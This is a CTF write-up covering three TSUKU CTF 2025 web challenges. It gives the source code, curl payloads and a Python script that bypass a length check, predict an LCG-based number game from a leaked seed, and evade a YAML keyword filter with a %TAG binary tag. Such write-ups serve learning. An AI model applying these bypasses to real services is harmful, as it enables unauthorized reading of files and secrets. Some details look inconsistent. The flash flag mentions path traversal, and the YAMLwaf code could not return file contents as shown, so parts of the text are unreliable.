Post

TSUKU CTF 2025 - WEB

TSUKU CTF 2025 - WEB

Web

len_len

Solvers: 451
Author: tsuku

Description

“length”.length is 6 ?

1
curl http://challs.tsukuctf.org:28888

Solution

Testing out the command, we get this:

1
2
➜  len_len curl http://challs.tsukuctf.org:28888                                                              
How to use -> curl -X POST -d 'array=[1,2,3,4]' http://challs.tsukuctf.org:28888

Let’s try it out and see what happens.

1
2
➜  len_len curl -X POST -d 'array=[1,2,3,4]' http://challs.tsukuctf.org:28888
error: no flag for you. sanitized string is [1,2,3,4], length is 9

Ok so we can not get the flag due to the length is 9, let’s jump into the source code and analyze it.
We found this code handling the input:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const express = require("express");
const bodyParser = require("body-parser");
const process = require("node:process");

const app = express();
const HOST = process.env.HOST ?? "localhost";
const PORT = process.env.PORT ?? "28888";
const FLAG = process.env.FLAG ?? "TsukuCTF25{dummy_flag}";

app.use(bodyParser.urlencoded({ extended: true }));

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

app.get("/", (_, res) => {
  res.send(
    `How to use -> curl -X POST -d 'array=[1,2,3,4]' http://${HOST}:${PORT}\n`,
  );
});

app.post("/", (req, res) => {
  const array = req.body.array;
  res.send(chall(array));
});

app.listen(PORT, () => {
  console.log(`Server is running on http://${HOST}:${PORT}`);
});

Focusing on this part:

1
2
3
4
5
6
7
8
9
10
11
12
function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

Here is the flow of the code:

  • It removes all spaces from the input.
  • If the sanitized string is less than 10 characters, it returns an error.
  • Otherwise, it parses the string as JSON and assigns it to array.
  • If array.length < 0, it returns the flag, if not -> returns an error with the array’s length.

Hmm, so in order to get the flag, we need to bypass this part:

1
2
3
if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }

What if we send a payload with length more than 10?

1
2
➜  len_len curl -X POST -d 'array=[1,2,3,4,5]' http://challs.tsukuctf.org:28888
error: no flag for you. array length is too long -> 5

Ok, so we bypass the first check, but we get an error with the array’s length due to the second check.
But look like the code does not check the parsed value is an actual array, it only checks the parsed object has a length property less than 0.

So what if we use {length: -1} as the payload?

1
2
➜  len_len curl -X POST -d 'array={"length":-1}' http://challs.tsukuctf.org:28888                                  
TsukuCTF25{l4n_l1n_lun_l4n_l0n}

And we get the flag!

The reason is that after parsing, it gets an object with .length = -1 and it satisfies the condition and -1 is less than 0 as the second check array.length < 0.

Flag: TsukuCTF25{l4n_l1n_lun_l4n_l0n}

flash

Solvers: 170
Author: tsuku

Description

3, 2, 1, pop! flash

Solution

When click the button, it will flash for 10 rounds with 7 digits and then redirect us to /result to let us enter the sum of ten rounds combined.

round result

It go really quick so we can not capture to see or write down the digits due to some round not even show out the digits.

flash_round

If we enter random total sum, we will get incorrect and it show the correct sum.

incorrect

Let’s delve into the source code and see what’s going on.

source

The code handle /flash route and /result route is app.py file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from flask import Flask, session, render_template, request, redirect, url_for, make_response
import hmac, hashlib, secrets

used_tokens = set()

with open('./static/seed.txt', 'r') as f:
    SEED = bytes.fromhex(f.read().strip())

def lcg_params(seed: bytes, session_id: str):
    m = 2147483693
    raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
    a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
    raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
    c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
    return m, a, c

def generate_round_digits(seed: bytes, session_id: str, round_index: int):
    LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)

    h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
    state = int.from_bytes(h0, 'big') % LCG_M

    for _ in range(DIGITS_PER_ROUND * round_index):
        state = (LCG_A * state + LCG_C) % LCG_M

    digits = []
    for _ in range(DIGITS_PER_ROUND):
        state = (LCG_A * state + LCG_C) % LCG_M
        digits.append(state % 10)

    return digits

def reset_rng():
    session.clear()
    session['session_id'] = secrets.token_hex(16)
    session['round'] = 0

TOTAL_ROUNDS = 10
DIGITS_PER_ROUND = 7
FLAG = "TsukuCTF25{**REDACTED**}"

app = Flask(__name__)
app.secret_key = secrets.token_bytes(16)

@app.route('/')
def index():
    reset_rng()
    return render_template('index.html')

@app.route('/flash')
def flash():
    session_id = session.get('session_id')
    if not session_id:
        return redirect(url_for('index'))

    r = session.get('round', 0)
    if r >= TOTAL_ROUNDS:
        return redirect(url_for('result'))

    digits = generate_round_digits(SEED, session_id, r)

    session['round'] = r + 1

    visible = (session['round'] <= 3) or (session['round'] > 7)
    return render_template('flash.html', round=session['round'], total=TOTAL_ROUNDS, digits=digits, visible=visible)

@app.route('/result', methods=['GET', 'POST'])
def result():
    if request.method == 'GET':
        if not session.get('session_id') or session.get('round', 0) < TOTAL_ROUNDS:
            return redirect(url_for('flash'))
        token = secrets.token_hex(16)
        session['result_token'] = token
        used_tokens.add(token)
        return render_template('result.html', token=token)

    form_token = request.form.get('token', '')
    if ('result_token' not in session or form_token != session['result_token']
            or form_token not in used_tokens):
        return redirect(url_for('index'))
    used_tokens.remove(form_token)

    ans_str = request.form.get('answer', '').strip()
    if not ans_str.isdigit():
        return redirect(url_for('index'))
    ans = int(ans_str)

    session_id = session.get('session_id')
    correct_sum = 0
    for round_index in range(TOTAL_ROUNDS):
        digits = generate_round_digits(SEED, session_id, round_index)
        number = int(''.join(map(str, digits)))
        correct_sum += number

    session.clear()
    resp = make_response(
        render_template('result.html', submitted=ans, correct=correct_sum,
                        success=(ans == correct_sum), FLAG=FLAG if ans == correct_sum else None)
    )
    cookie_name = app.config.get('SESSION_COOKIE_NAME', 'session')
    resp.set_cookie(cookie_name, '', expires=0)
    return resp

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

And also the /static/seed.txt file is provided. Check it out on the server.

seed

After read through, we found the that in order to create 7 digits for 10 rounds, it need to have seed and session_id. The session_id can be found in the cookie.

cookie

So what we gather through this:

For the Number Generation:

  • Each round, 7 digits are generated using a custom LCG (Linear Congruential Generator).
  • The LCG is seeded with a value derived from the secret seed and session ID. ```python def lcg_params(seed: bytes, session_id: str): m = 2147483693 raw_a = hmac.new(seed, (session_id + “a”).encode(), hashlib.sha256).digest() a = (int.from_bytes(raw_a[:8], ‘big’) % (m - 1)) + 1 raw_c = hmac.new(seed, (session_id + “c”).encode(), hashlib.sha256).digest() c = (int.from_bytes(raw_c[:8], ‘big’) % (m - 1)) + 1 return m, a, c

def generate_round_digits(seed: bytes, session_id: str, round_index: int): LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)

1
2
3
4
5
6
7
8
9
10
11
12
h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
state = int.from_bytes(h0, 'big') % LCG_M

for _ in range(DIGITS_PER_ROUND * round_index):
    state = (LCG_A * state + LCG_C) % LCG_M

digits = []
for _ in range(DIGITS_PER_ROUND):
    state = (LCG_A * state + LCG_C) % LCG_M
    digits.append(state % 10)

return digits ```

For the session_id:

  • Stored in session cookie as we have seen in the screenshot above.
    1
    2
    3
    4
    
    {
      "round":10,
      "session_id":"9575a5b732ad24aa998ebdb8b0643c8a"
    }
    

For the seed:

  • We get it from the /static/seed.txt file.
    b7c4c422a93fdc991075b22b79aa12bb19770b1c9b741dd44acbafd4bc6d1aabc1b9378f3b68ac345535673fcf07f089a8492dc1b05343a80b3d002f070771c6
    

So in order to get the flag, we need to calculate the correct sum of 10 rounds.
What if we reproduce the number generation locally using the seed and session ID, then calculate and submit the correct sum.

Let’s write a script to do that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import hmac, hashlib

SEED = bytes.fromhex("")  # <-- put the value from static/seed.txt
session_id = "" # <-- put session_id from the cookie

TOTAL_ROUNDS = 10
DIGITS_PER_ROUND = 7

def lcg_params(seed: bytes, session_id: str):
    m = 2147483693
    raw_a = hmac.new(seed, (session_id + "a").encode(), hashlib.sha256).digest()
    a = (int.from_bytes(raw_a[:8], 'big') % (m - 1)) + 1
    raw_c = hmac.new(seed, (session_id + "c").encode(), hashlib.sha256).digest()
    c = (int.from_bytes(raw_c[:8], 'big') % (m - 1)) + 1
    return m, a, c

def generate_round_digits(seed: bytes, session_id: str, round_index: int):
    LCG_M, LCG_A, LCG_C = lcg_params(seed, session_id)
    h0 = hmac.new(seed, session_id.encode(), hashlib.sha256).digest()
    state = int.from_bytes(h0, 'big') % LCG_M
    for _ in range(DIGITS_PER_ROUND * round_index):
        state = (LCG_A * state + LCG_C) % LCG_M
    digits = []
    for _ in range(DIGITS_PER_ROUND):
        state = (LCG_A * state + LCG_C) % LCG_M
        digits.append(state % 10)
    return digits

correct_sum = 0
for round_index in range(TOTAL_ROUNDS):
    digits = generate_round_digits(SEED, session_id, round_index)
    number = int(''.join(map(str, digits)))
    print(f"Round {round_index+1}: {digits} -> {number}")
    correct_sum += number

print("Correct sum:", correct_sum)
  • First let’s play the button at /flash again.
  • Then get the new session_id from the cookie.

cookie2

-> "session_id":"2053d0f69ca4698c66db184dcf0ee2b4"

  • Put the seed and session_id into the script and run it.
1
2
3
4
5
6
7
8
9
10
11
12
➜  flash python3 script.py
Round 1: [7, 6, 9, 9, 4, 3, 4] -> 7699434
Round 2: [1, 6, 2, 0, 0, 2, 3] -> 1620023
Round 3: [3, 3, 4, 1, 0, 6, 3] -> 3341063
Round 4: [6, 1, 3, 9, 6, 1, 6] -> 6139616
Round 5: [4, 5, 5, 1, 5, 9, 7] -> 4551597
Round 6: [0, 6, 1, 4, 7, 7, 5] -> 614775
Round 7: [7, 7, 3, 2, 1, 0, 2] -> 7732102
Round 8: [5, 3, 6, 3, 9, 9, 5] -> 5363995
Round 9: [6, 3, 6, 0, 0, 4, 0] -> 6360040
Round 10: [4, 2, 8, 9, 4, 8, 9] -> 4289489
Correct sum: 47712134

After that submit the correct sum to /result.

correct

There we go the flag!

flag

Flag: TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}

YAMLwaf

Solvers: 71
Author: tsuku

Description

YAML is awesome!!

1
curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" -d "file: flag.txt"

(mirror)

1
curl -X POST "http://20.2.250.108:50001" -H "Content-Type: text/plain" -d "file: flag.txt"

Solution

Let’s try out and see what happens.

1
2
➜  YAMLwaf curl -X POST "http://challs.tsukuctf.org:50001" -H "Content-Type: text/plain" -d "file: flag.txt"
Not allowed!

Ok so it said Not allowed! as expected not easy to get flag normally like this =)).

Let’s jump into the source code. And found this server.js file handling the request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const yaml = require('js-yaml');
const app = express();
app.use(bodyParser.text());

app.post('/', (req, res) => {
  if (req.body.includes('flag')) {
    return res.status(403).send('Not allowed!');
  }
  if (req.body.includes('\\') || req.body.includes('/') 
    || req.body.includes('!!') || req.body.includes('<')) {
    return res.status(403).send('Hello, Hacker :)');
  }
  try {
    const data = yaml.load(req.body);
    const filePath = data.file;

    if (filePath && fs.existsSync(filePath)) {
      const content = fs.readFileSync(filePath, 'utf8');
      if (!content.isFile()) {
        return res.status(403).send('Not file');
      }
      return res.send(content);
    } else {
      return res.status(404).send('File not found');
    }
  } catch (err) {
    return res.status(400).send('Invalid request');
  }
});

app.listen(3000, () => {
  console.log('Server listening on port 3000');
});

From the code, we can see it will check if the request body contains flag, \, /, !!, < and if so it will return Not allowed! or Hello, Hacker :).

So after finding and researching on google and even asking chatgpt, I could not any ideas.
And ctf ended and come up with community solution is:

1
2
3
➜  YAMLwaf curl -X POST "http://challs.tsukuctf.org:50001" \
     -H "Content-Type: text/plain" \
     -d $'%TAG !b! tag:yaml.org,2002:binary\n---\nfile: !b! ZmxhZy50eHQ='

Let’s demonstrate it out.

After going through YAML, we found that:

Here is the flow:
A %TAG line associates a handle (like !b!) with a prefix (tag:yaml.org,2002:). After that, any node tagged !b!binary expands to the full URI tag:yaml.org,2002:binary.

  • After that, we use --- to start the document from YAML_DOCUMENT_START.

  • Then we use file: !b! ZmxhZy50eHQ= to tag the file with !b!binary and ZmxhZy50eHQ= is the base64 encoded flag.txt.

So the flow is:

1
2
3
%TAG !b! tag:yaml.org,2002:binary
---
file: !b! ZmxhZy50eHQ=

When the server parse, it see !b! is alias for tag:yaml.org,2002:binary and this URI schema use binary type to encode the file.
So it will decode the ZmxhZy50eHQ= to flag.txt and retrieve object with file key with value is the content of flag.txt.

1
2
3
4
➜  YAMLwaf curl -X POST "http://challs.tsukuctf.org:50001" \
     -H "Content-Type: text/plain" \
     -d $'%TAG !b! tag:yaml.org,2002:binary\n---\nfile: !b! ZmxhZy50eHQ='
TsukuCTF25{YAML_1s_d33p!}

Flag: TsukuCTF25{YAML_1s_d33p!}

This post is licensed under CC BY 4.0 by the author.